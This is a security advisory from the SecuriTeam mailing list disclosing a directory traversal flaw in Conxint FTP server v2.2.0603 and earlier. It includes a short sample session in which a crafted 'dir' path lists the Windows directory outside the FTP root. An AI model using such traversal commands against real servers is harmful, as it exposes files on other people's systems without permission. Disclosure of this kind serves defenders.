The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com

• • promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

Conxint FTP MKD DIR and GET Directory Transversal

SUMMARY

"Conxint FTP server provide FTP service on Windows 98/2000/2003/ME/XP
operation system. You can use it as a general FTP site server, or share
files with other users as a file server."

Conxint FTP v2.2.0603 and previous is vulnerable to Directory Transversals
via the MKD and DIR as well as GET commands.

DETAILS

Description:
Conxint FTP v2.2.0603 and previous is vulnerable to Directory Transversals
via the MKD and DIR as well as GET commands.
This improperly shows file listings of the host computer outside of the
FTP Root directory. As well as allows remote users or even Unathenticated
Anonymous uers to grab any file on the webserver.

220 Conxint ftp server ready!
ftp> dir \…\…\…\windows\
200 PORT Command successful.
125 Opening ASCII mode data connection for /bin/ls.
total 0
-rw-rw-r-- 1 root root 0 Aug 09 10:45 .tmp
drw-rw-r-- 1 root root 512 Oct 13 00:35 $hf_mig$
drw-rw-r-- 1 root root 512 Jun 24 03:02
$MSI31Uninstall_KB893803v2$
drw-rw-r-- 1 root root 512 Jun 25 03:17
$NtUninstallKB873339$
drw-rw-r-- 1 root root 512 Jun 25 03:22
$NtUninstallKB885835$
drw-rw-r-- 1 root root 512 Jun 25 03:21
$NtUninstallKB885836$
drw-rw-r-- 1 root root 512 Jun 25 03:09
$NtUninstallKB885884$
drw-rw-r-- 1 root root 512 Jun 25 03:09
$NtUninstallKB886185$
drw-rw-r-- 1 root root 512 Jun 25 03:16
$NtUninstallKB887742$
drw-rw-r-- 1 root root 512 Jun 25 03:16
$NtUninstallKB888113$
drw-rw-r-- 1 root root 512 Jun 25 03:10
$NtUninstallKB888302$
drw-rw-r-- 1 root root 512 Jun 25 03:12
$NtUninstallKB890046$
drw-rw-r-- 1 root root 512 Jun 25 03:01
$NtUninstallKB890859$
drw-rw-r-- 1 root root 512 Jun 25 03:14
$NtUninstallKB891781$
… ETC

ADDITIONAL INFORMATION

The information has been provided by: <mailto:glinares.code at gmail.com>
Greg Linares.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]

====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.